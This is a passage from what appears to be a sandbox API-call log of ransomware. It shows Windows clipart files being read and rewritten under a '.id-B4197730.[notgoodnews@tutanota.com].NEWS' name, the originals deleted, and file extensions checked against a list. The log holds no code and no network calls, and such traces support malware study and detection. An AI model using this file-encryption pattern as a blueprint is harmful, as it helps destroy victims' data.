lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.129] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.129] SetEndOfFile (hFile=0x344) returned 1 [0086.129] CloseHandle (hObject=0x344) returned 1 [0086.129] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.129] SetEndOfFile (hFile=0x2c4) returned 1 [0086.193] CloseHandle (hObject=0x2c4) returned 1 [0086.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.194] lstrlenW (lpString=".doc") returned 4 [0086.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.194] lstrlenW (lpString=".docx") returned 5 [0086.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.194] lstrlenW (lpString=".pdf") returned 4 [0086.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.194] lstrlenW (lpString=".xls") returned 4 [0086.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.194] lstrlenW (lpString=".xlsx") returned 5 [0086.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.194] lstrlenW (lpString=".ppt") returned 4 [0086.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.194] lstrlenW (lpString=".zip") returned 4 [0086.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.194] lstrlenW (lpString=".rar") returned 4 [0086.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.194] lstrlenW (lpString=".bz2") returned 4 [0086.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.194] lstrlenW (lpString=".7z") returned 3 [0086.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.194] lstrlenW (lpString=".dbf") returned 4 [0086.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.194] lstrlenW (lpString=".1cd") returned 4 [0086.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.195] lstrlenW (lpString=".jpg") returned 4 [0086.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.195] lstrlenW (lpString=".doc") returned 4 [0086.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.195] lstrlenW (lpString=".docx") returned 5 [0086.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.195] lstrlenW (lpString=".pdf") returned 4 [0086.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.195] lstrlenW (lpString=".xls") returned 4 [0086.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.195] lstrlenW (lpString=".xlsx") returned 5 [0086.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.195] lstrlenW (lpString=".ppt") returned 4 [0086.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.195] lstrlenW (lpString=".zip") returned 4 [0086.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.195] lstrlenW (lpString=".rar") returned 4 [0086.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.195] lstrlenW (lpString=".bz2") returned 4 [0086.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.195] lstrlenW (lpString=".7z") returned 3 [0086.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.195] lstrlenW (lpString=".dbf") returned 4 [0086.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.195] lstrlenW (lpString=".1cd") returned 4 [0086.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0086.195] lstrlenW (lpString=".jpg") returned 4 [0086.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.196] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.196] lstrlenW (lpString="FD00297_.WMF") returned 12 [0086.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.196] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=18194) returned 1 [0086.196] CloseHandle (hObject=0x2c4) returned 1 [0086.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0086.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.197] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.197] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.197] GetLastError () returned 0x0 [0086.197] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x4712, lpOverlapped=0x0) returned 1 [0086.199] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x4720, lpOverlapped=0x0) returned 1 [0086.200] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.200] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.200] SetEndOfFile (hFile=0x344) returned 1 [0086.200] CloseHandle (hObject=0x344) returned 1 [0086.200] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.200] SetEndOfFile (hFile=0x2c4) returned 1 [0086.201] CloseHandle (hObject=0x2c4) returned 1 [0086.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0086.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.202] lstrlenW (lpString=".doc") returned 4 [0086.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.202] lstrlenW (lpString=".docx") returned 5 [0086.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.202] lstrlenW (lpString=".pdf") returned 4 [0086.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.202] lstrlenW (lpString=".xls") returned 4 [0086.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.202] lstrlenW (lpString=".xlsx") returned 5 [0086.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.202] lstrlenW (lpString=".ppt") returned 4 [0086.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.202] lstrlenW (lpString=".zip") returned 4 [0086.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.202] lstrlenW (lpString=".rar") returned 4 [0086.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.202] lstrlenW (lpString=".bz2") returned 4 [0086.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.202] lstrlenW (lpString=".7z") returned 3 [0086.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.202] lstrlenW (lpString=".dbf") returned 4 [0086.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.202] lstrlenW (lpString=".1cd") returned 4 [0086.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.203] lstrlenW (lpString=".jpg") returned 4 [0086.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.203] lstrlenW (lpString=".doc") returned 4 [0086.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.203] lstrlenW (lpString=".docx") returned 5 [0086.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.203] lstrlenW (lpString=".pdf") returned 4 [0086.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.203] lstrlenW (lpString=".xls") returned 4 [0086.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.203] lstrlenW (lpString=".xlsx") returned 5 [0086.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.203] lstrlenW (lpString=".ppt") returned 4 [0086.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.203] lstrlenW (lpString=".zip") returned 4 [0086.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.203] lstrlenW (lpString=".rar") returned 4 [0086.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.203] lstrlenW (lpString=".bz2") returned 4 [0086.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.203] lstrlenW (lpString=".7z") returned 3 [0086.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.203] lstrlenW (lpString=".dbf") returned 4 [0086.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.203] lstrlenW (lpString=".1cd") returned 4 [0086.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0086.203] lstrlenW (lpString=".jpg") returned 4 [0086.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.204] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.204] lstrlenW (lpString="FD00306_.WMF") returned 12 [0086.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.204] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=46814) returned 1 [0086.204] CloseHandle (hObject=0x2c4) returned 1 [0086.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0086.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.204] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.204] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.205] GetLastError () returned 0x0 [0086.205] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xb6de, lpOverlapped=0x0) returned 1 [0086.402] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xb6e0, lpOverlapped=0x0) returned 1 [0086.404] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.404] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.404] SetEndOfFile (hFile=0x344) returned 1 [0086.404] CloseHandle (hObject=0x344) returned 1 [0086.404] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.404] SetEndOfFile (hFile=0x2c4) returned 1 [0086.405] CloseHandle (hObject=0x2c4) returned 1 [0086.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0086.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.406] lstrlenW (lpString=".doc") returned 4 [0086.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.406] lstrlenW (lpString=".docx") returned 5 [0086.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.406] lstrlenW (lpString=".pdf") returned 4 [0086.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.406] lstrlenW (lpString=".xls") returned 4 [0086.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.406] lstrlenW (lpString=".xlsx") returned 5 [0086.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.406] lstrlenW (lpString=".ppt") returned 4 [0086.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.406] lstrlenW (lpString=".zip") returned 4 [0086.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.406] lstrlenW (lpString=".rar") returned 4 [0086.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.406] lstrlenW (lpString=".bz2") returned 4 [0086.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.406] lstrlenW (lpString=".7z") returned 3 [0086.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.406] lstrlenW (lpString=".dbf") returned 4 [0086.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.407] lstrlenW (lpString=".1cd") returned 4 [0086.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.407] lstrlenW (lpString=".jpg") returned 4 [0086.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.444] lstrlenW (lpString=".doc") returned 4 [0086.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.445] lstrlenW (lpString=".docx") returned 5 [0086.445] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.445] lstrlenW (lpString=".pdf") returned 4 [0086.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.445] lstrlenW (lpString=".xls") returned 4 [0086.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.445] lstrlenW (lpString=".xlsx") returned 5 [0086.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.445] lstrlenW (lpString=".ppt") returned 4 [0086.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.445] lstrlenW (lpString=".zip") returned 4 [0086.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.445] lstrlenW (lpString=".rar") returned 4 [0086.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.445] lstrlenW (lpString=".bz2") returned 4 [0086.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.445] lstrlenW (lpString=".7z") returned 3 [0086.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.445] lstrlenW (lpString=".dbf") returned 4 [0086.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.445] lstrlenW (lpString=".1cd") returned 4 [0086.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0086.445] lstrlenW (lpString=".jpg") returned 4 [0086.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.445] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.445] lstrlenW (lpString="FD00435_.WMF") returned 12 [0086.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.446] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2108) returned 1 [0086.446] CloseHandle (hObject=0x308) returned 1 [0086.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0086.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.446] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.446] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.447] GetLastError () returned 0x0 [0086.447] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x83c, lpOverlapped=0x0) returned 1 [0086.448] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x840, lpOverlapped=0x0) returned 1 [0086.449] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.449] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, 